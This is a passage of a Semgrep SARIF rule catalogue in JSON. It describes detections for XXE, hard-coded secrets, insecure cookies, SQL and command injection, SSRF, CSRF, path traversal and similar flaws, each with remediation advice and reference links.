[https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. $PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\"). For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.xxe.validator-xxe.validator-xxe","id":"java.lang.security.xxe.validator-xxe.validator-xxe","name":"java.lang.security.xxe.validator-xxe.validator-xxe","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xxe.validator-xxe.validator-xxe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.openai.openai-hardcoded-secret.openai-hardcoded-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.openai.openai-hardcoded-secret.openai-hardcoded-secret","id":"go.secrets.openai.openai-hardcoded-secret.openai-hardcoded-secret","name":"go.secrets.openai.openai-hardcoded-secret.openai-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.openai.openai-hardcoded-secret.openai-hardcoded-secret"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. If this wasn't intentional, it's recommended to set the Secure flag to true so that all session cookies will be by default sent over HTTPS. It is also possible to use the flask-talisman extension to enforce a secure configuration."},"help":{"markdown":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. If this wasn't intentional, it's recommended to set the Secure flag to true so that all session cookies will be by default sent over HTTPS. It is also possible to use the flask-talisman extension to enforce a secure configuration.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.web.flask-cookie-app-config-secure-false.flask-cookie-app-config-secure-false)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. If this wasn't intentional, it's recommended to set the Secure flag to true so that all session cookies will be by default sent over HTTPS. It is also possible to use the flask-talisman extension to enforce a secure configuration."},"helpUri":"https://semgrep.dev/r/python.flask.web.flask-cookie-app-config-secure-false.flask-cookie-app-config-secure-false","id":"python.flask.web.flask-cookie-app-config-secure-false.flask-cookie-app-config-secure-false","name":"python.flask.web.flask-cookie-app-config-secure-false.flask-cookie-app-config-secure-false","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.web.flask-cookie-app-config-secure-false.flask-cookie-app-config-secure-false"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option."},"help":{"markdown":"Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.sqlalchemy.security.sqlalchemy-execute-raw-query.sqlalchemy-execute-raw-query)\n - [https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql](https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql)\n - [https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm](https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm)\n - [https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column](https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column)\n","text":"Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option."},"helpUri":"https://semgrep.dev/r/python.sqlalchemy.security.sqlalchemy-execute-raw-query.sqlalchemy-execute-raw-query","id":"python.sqlalchemy.security.sqlalchemy-execute-raw-query.sqlalchemy-execute-raw-query","name":"python.sqlalchemy.security.sqlalchemy-execute-raw-query.sqlalchemy-execute-raw-query","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.sqlalchemy.security.sqlalchemy-execute-raw-query.sqlalchemy-execute-raw-query"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Data from request is passed to os.path.join() and to open(). This is a path traversal vulnerability, which can lead to sensitive data being leaked. To mitigate, consider using os.path.abspath or os.path.realpath or Path library."},"help":{"markdown":"Data from request is passed to os.path.join() and to open(). This is a path traversal vulnerability, which can lead to sensitive data being leaked. To mitigate, consider using os.path.abspath or os.path.realpath or Path library.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.path-traversal.path-traversal-join.path-traversal-join)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n","text":"Data from request is passed to os.path.join() and to open(). This is a path traversal vulnerability, which can lead to sensitive data being leaked. To mitigate, consider using os.path.abspath or os.path.realpath or Path library."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.path-traversal.path-traversal-join.path-traversal-join","id":"python.django.security.injection.path-traversal.path-traversal-join.path-traversal-join","name":"python.django.security.injection.path-traversal.path-traversal-join.path-traversal-join","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.path-traversal.path-traversal-join.path-traversal-join"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. Untrusted input in a command can lead to command injection, allowing attackers to execute arbitrary commands and gain control of the system. To prevent this: 1. Avoid direct command execution: Don't run OS commands with user input directly. 2. Validate and sanitize input: Ensure input is safe by removing or escaping dangerous characters. 3. (preferred) Use safe methods: Use `subprocess.run` without `shell=True` to safely execute commands, as it doesn't call a system shell by default. If `shell=True` is necessary, properly quote and escape all input to prevent shell injection. This is a secure by default approach."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. Untrusted input in a command can lead to command injection, allowing attackers to execute arbitrary commands and gain control of the system. To prevent this: 1. Avoid direct command execution: Don't run OS commands with user input directly. 2. Validate and sanitize input: Ensure input is safe by removing or escaping dangerous characters. 3. (preferred) Use safe methods: Use `subprocess.run` without `shell=True` to safely execute commands, as it doesn't call a system shell by default. If `shell=True` is necessary, properly quote and escape all input to prevent shell injection. This is a secure by default approach.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.os.tainted-os-command-stdlib-flask-secure-default.tainted-os-command-stdlib-flask-secure-default)\n - [https://docs.python.org/3/library/os.html](https://docs.python.org/3/library/os.html)\n - [https://docs.python.org/3/library/subprocess.html#using-the-subprocess-module](https://docs.python.org/3/library/subprocess.html#using-the-subprocess-module)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n - [https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html](https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. Untrusted input in a command can lead to command injection, allowing attackers to execute arbitrary commands and gain control of the system. To prevent this: 1. Avoid direct command execution: Don't run OS commands with user input directly. 2. Validate and sanitize input: Ensure input is safe by removing or escaping dangerous characters. 3. (preferred) Use safe methods: Use `subprocess.run` without `shell=True` to safely execute commands, as it doesn't call a system shell by default. If `shell=True` is necessary, properly quote and escape all input to prevent shell injection. This is a secure by default approach."},"helpUri":"https://semgrep.dev/r/python.flask.os.tainted-os-command-stdlib-flask-secure-default.tainted-os-command-stdlib-flask-secure-default","id":"python.flask.os.tainted-os-command-stdlib-flask-secure-default.tainted-os-command-stdlib-flask-secure-default","name":"python.flask.os.tainted-os-command-stdlib-flask-secure-default.tainted-os-command-stdlib-flask-secure-default","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.os.tainted-os-command-stdlib-flask-secure-default.tainted-os-command-stdlib-flask-secure-default"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. To prevent this vulnerability start by identifying if the framework or library leveraged has built-in features or offers plugins for CSRF protection. CSRF tokens should be unique and securely random. The `Synchronizer Token` or `Double Submit Cookie` patterns with defense-in-depth mechanisms such as the `sameSite` cookie flag can help prevent CSRF. For more information, see: [Cross-site request forgery prevention](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)"},"help":{"markdown":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. To prevent this vulnerability start by identifying if the framework or library leveraged has built-in features or offers plugins for CSRF protection. CSRF tokens should be unique and securely random. The `Synchronizer Token` or `Double Submit Cookie` patterns with defense-in-depth mechanisms such as the `sameSite` cookie flag can help prevent CSRF. For more information, see: [Cross-site request forgery prevention](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.audit.cookie-missing-samesite.cookie-missing-samesite)\n - [https://stackoverflow.com/questions/42717210/samesite-cookie-in-java-application](https://stackoverflow.com/questions/42717210/samesite-cookie-in-java-application)\n","text":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. To prevent this vulnerability start by identifying if the framework or library leveraged has built-in features or offers plugins for CSRF protection. CSRF tokens should be unique and securely random. The `Synchronizer Token` or `Double Submit Cookie` patterns with defense-in-depth mechanisms such as the `sameSite` cookie flag can help prevent CSRF. For more information, see: [Cross-site request forgery prevention](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)"},"helpUri":"https://semgrep.dev/r/java.servlets.security.audit.cookie-missing-samesite.cookie-missing-samesite","id":"java.servlets.security.audit.cookie-missing-samesite.cookie-missing-samesite","name":"java.servlets.security.audit.cookie-missing-samesite.cookie-missing-samesite","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.audit.cookie-missing-samesite.cookie-missing-samesite"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options."},"help":{"markdown":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.os.tainted-dotenv-variable-flask.tainted-dotenv-variable-flask)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options."},"helpUri":"https://semgrep.dev/r/python.flask.os.tainted-dotenv-variable-flask.tainted-dotenv-variable-flask","id":"python.flask.os.tainted-dotenv-variable-flask.tainted-dotenv-variable-flask","name":"python.flask.os.tainted-dotenv-variable-flask.tainted-dotenv-variable-flask","properties":{"precision":"very-high","tags":["CWE-454: External Initialization of Trusted Variables or Data Stores","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.os.tainted-dotenv-variable-flask.tainted-dotenv-variable-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Stacktrace information is displayed in a non-Development environment. Accidentally disclosing sensitive stack trace information in a production environment aids an attacker in reconnaissance and information gathering."},"help":{"markdown":"Stacktrace information is displayed in a non-Development environment. Accidentally disclosing sensitive stack trace information in a production environment aids an attacker in reconnaissance and information gathering.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.stacktrace-disclosure.stacktrace-disclosure)\n - [https://cwe.mitre.org/data/definitions/209.html](https://cwe.mitre.org/data/definitions/209.html)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design/](https://owasp.org/Top10/A04_2021-Insecure_Design/)\n","text":"Stacktrace information is displayed in a non-Development environment. Accidentally disclosing sensitive stack trace information in a production environment aids an attacker in reconnaissance and information gathering."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.stacktrace-disclosure.stacktrace-disclosure","id":"csharp.lang.security.stacktrace-disclosure.stacktrace-disclosure","name":"csharp.lang.security.stacktrace-disclosure.stacktrace-disclosure","properties":{"precision":"very-high","tags":["CWE-209: Generation of Error Message Containing Sensitive Information","HIGH CONFIDENCE","OWASP-A04:2021 - Insecure Design","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.stacktrace-disclosure.stacktrace-disclosure"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.net.tainted-flask-http-request-urllib3.tainted-flask-http-request-urllib3)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.flask.net.tainted-flask-http-request-urllib3.tainted-flask-http-request-urllib3","id":"python.flask.net.tainted-flask-http-request-urllib3.tainted-flask-http-request-urllib3","name":"python.flask.net.tainted-flask-http-request-urllib3.tainted-flask-http-request-urllib3","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.net.tainted-flask-http-request-urllib3.tainted-flask-http-request-urllib3"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. In PHP, it is possible to use `escapeshellcmd(...)` and `escapeshellarg(...)` to correctly sanitize input when used respectively as system commands or command arguments."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. In PHP, it is possible to use `escapeshellcmd(...)` and `escapeshellarg(...)` to correctly sanitize input when used respectively as system commands or command arguments.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-command-injection.laravel-command-injection)\n - [https://www.php.net/manual/en/ref.exec.php](https://www.php.net/manual/en/ref.exec.php)\n - [https://www.php.net/manual/en/ref.filesystem.php](https://www.php.net/manual/en/ref.filesystem.php)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. In PHP, it is possible to use `escapeshellcmd(...)` and `escapeshellarg(...)` to correctly sanitize input when used respectively as system commands or command arguments."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-command-injection.laravel-command-injection","id":"php.laravel.security.laravel-command-injection.laravel-command-injection","name":"php.laravel.security.laravel-command-injection.laravel-command-injection","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-command-injection.laravel-command-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.xml.tainted-flask-xml-libxml2.tainted-flask-xml-libxml2)\n - [https://github.com/vingd/libxml2-python/blob/libxml2-python-2.9.1/libxml2.py](https://github.com/vingd/libxml2-python/blob/libxml2-python-2.9.1/libxml2.py)\n - [https://gitlab.gnome.org/GNOME/libxml2/-/wikis/Python-bindings](https://gitlab.gnome.org/GNOME/libxml2/-/wikis/Python-bindings)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"helpUri":"https://semgrep.dev/r/python.flask.xml.tainted-flask-xml-libxml2.tainted-flask-xml-libxml2","id":"python.flask.xml.tainted-flask-xml-libxml2.tainted-flask-xml-libxml2","name":"python.flask.xml.tainted-flask-xml-libxml2.tainted-flask-xml-libxml2","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.xml.tainted-flask-xml-libxml2.tainted-flask-xml-libxml2"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The Connection.recv() method automatically unpickles the data it receives, which can be a security risk unless you can trust the process which sent the message. Therefore, unless the connection object was produced using Pipe() you should only use the recv() and send() methods after performing some sort of authentication. See more dettails: https://docs.python.org/3/library/multiprocessing.html?highlight=security#multiprocessing.connection.Connection"},"help":{"markdown":"The Connection.recv() method automatically unpickles the data it receives, which can be a security risk unless you can trust the process which sent the message. Therefore, unless the connection object was produced using Pipe() you should only use the recv() and send() methods after performing some sort of authentication. See more dettails: https://docs.python.org/3/library/multiprocessing.html?highlight=security#multiprocessing.connection.Connection\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.conn_recv.multiprocessing-recv)\n - [https://docs.python.org/3/library/multiprocessing.html?highlight=security#multiprocessing.connection.Connection](https://docs.python.org/3/library/multiprocessing.html?highlight=security#multiprocessing.connection.Connection)\n","text":"The Connection.recv() method automatically unpickles the data it receives, which can be a security risk unless you can trust the process which sent the message. Therefore, unless the connection object was produced using Pipe() you should only use the recv() and send() methods after performing some sort of authentication. See more dettails: https://docs.python.org/3/library/multiprocessing.html?highlight=security#multiprocessing.connection.Connection"},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.conn_recv.multiprocessing-recv","id":"python.lang.security.audit.conn_recv.multiprocessing-recv","name":"python.lang.security.audit.conn_recv.multiprocessing-recv","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.conn_recv.multiprocessing-recv"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Bracket object notation with user input is present, this might allow an attacker to access all properties of the object and even it's prototype. Use literal values for object properties."},"help":{"markdown":"Bracket object notation with user input is present, this might allow an attacker to access all properties of the object and even it's prototype. Use literal values for object properties.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.remote-property-injection.remote-property-injection)\n - [https://github.com/nodesecurity/eslint-plugin-security/blob/3c7522ca1be800353513282867a1034c795d9eb4/docs/the-dangers-of-square-bracket-notation.md](https://github.com/nodesecurity/eslint-plugin-security/blob/3c7522ca1be800353513282867a1034c795d9eb4/docs/the-dangers-of-square-bracket-notation.md)\n","text":"Bracket object notation with user input is present, this might allow an attacker to access all properties of the object and even it's prototype. Use literal values for object properties."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.remote-property-injection.remote-property-injection","id":"javascript.express.security.audit.remote-property-injection.remote-property-injection","name":"javascript.express.security.audit.remote-property-injection.remote-property-injection","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","LOW CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.remote-property-injection.remote-property-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The password on '$MODEL' is being set without validating the password. Call django.contrib.auth.password_validation.validate_password() with validation functions before setting the password. See https://docs.djangoproject.com/en/3.0/topics/auth/passwords/ for more information."},"help":{"markdown":"The password on '$MODEL' is being set without validating the password. Call django.contrib.auth.password_validation.validate_password() with validation functions before setting the password. See https://docs.djangoproject.com/en/3.0/topics/auth/passwords/ for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.unvalidated-password.unvalidated-password)\n - [https://docs.djangoproject.com/en/3.0/topics/auth/passwords/#module-django.contrib.auth.password_validation](https://docs.djangoproject.com/en/3.0/topics/auth/passwords/#module-django.contrib.auth.password_validation)\n","text":"The password on '$MODEL' is being set without validating the password. Call django.contrib.auth.password_validation.validate_password() with validation functions before setting the password. See https://docs.djangoproject.com/en/3.0/topics/auth/passwords/ for more information."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.unvalidated-password.unvalidated-password","id":"python.django.security.audit.unvalidated-password.unvalidated-password","name":"python.django.security.audit.unvalidated-password.unvalidated-password","properties":{"precision":"very-high","tags":["CWE-521: Weak Password Requirements","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication 